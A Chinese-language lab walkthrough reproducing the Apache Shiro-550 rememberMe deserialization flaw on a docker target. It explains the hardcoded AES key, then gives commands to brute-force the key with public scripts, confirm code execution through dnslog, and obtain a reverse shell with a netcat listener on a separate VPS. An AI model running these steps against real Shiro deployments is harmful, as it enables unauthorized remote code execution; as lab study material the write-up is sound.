首页 漏洞复现

1. 前言

在工作中遇到了一个使用Shiro的系统,爆破出了AES加密秘钥Key,想尝试复现是否存在反序列漏洞时,并没有成功,心有不甘,所以自己来动手用靶机来尝试下

2. 影响版本(Shiro-550)

Apache Shiro <= 1.2.4

3. 准备知识

3.1 Apache Shiro简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

3.2 Apache Shiro特征

在登录界面勾选“记住密码”后会在返回包的Set-Cookie存在rememberMe=deleteMe字段,如下图所示
98434-5mniiauf5c8.png

3.3 漏洞成因

  • 默认情况下,shiro使用CookieRememberMeManager类对用户登录凭证(即rememberMe的内容)进行序列化,具体流程是:
      明文-->Java序列化 --> 使用密钥进行AES加密 ---> Base64编码 ---> 得到密文

 那么在识别用户身份是需要对密文进行解密:

   密文 ---> Base64解码 ---> 使用密钥进行AES解密 ---> Java反序列化 --> 明文

  • 成因:问题就出在AES的秘钥,AES的秘钥是被硬编码写在代码中的,如果攻击者找到了加密秘钥,那么可以自行构造恶意对象并按照上述流程进行序列化、加密、编码,并将结果作为cookie的rememberMe字段发送,在Shiro识别用户对其进行反序列化时,就会造成反序列化漏洞
    更多请看官网:SHIRO-550

4. 漏洞复现

4.1 环境搭建

这里使用docker环境,方便又快捷:

# 1.拉取镜像到本地
docker pull medicean/vulapps:s_shiro_1

# 2.启动环境,将主机80映射到容器的8080
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

两步搭建完成
21181-0vatx835q6y.png

5. 漏洞复现

5.1 漏洞验证

按照基本流程是先爆破秘钥Key,ShiroScan

python shiro_exploit.py -u http://xxx/login.jsp

可以看到爆破出秘钥kPH+bIxk5D2deZiIxcaaaA==
05138-6vaysp0txox.png

下面爆破利用模块,配合dnslog和Key来进行验证

python shiro_exploit.py -u http://ip/login.jsp -t 3 -p "ping -c 2 {dnshost}" -k "kPH+bIxk5D2deZiIxcaaaA=="

跑出来个利用模块JRMPClient,其实这里应该是有好几个可利用gadge的,后面利用换个脚本
26796-krrfgvd4t9s.png
dnslog上可以看到解析日志
00747-m46wh5ct9ci.png

5.2 漏洞利用

这里换个方便的脚本,直接梭shiro_rce

java -jar shiro_tool.jar http://ip/login.jsp

攻击会自动爆破Key和利用模块,随便选一个进行利用
75060-xyw7yeq8kol.png
这里直接反弹shell不成功,需要base64编码一下:runtime-exec-payloads
61512-30so8qnsg6i.png
换另一台vps监听即可

# 监听7777
nc -lvnp 7777

# 查看是否为docker环境
ls -alh /.dockerenv

47193-cr9d8cqjkks.png
最后附上一个一键利用工具:ShiroExploit-Deprecated
大佬的工具真是方便又快捷

6. 参考

Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)



文章评论

目录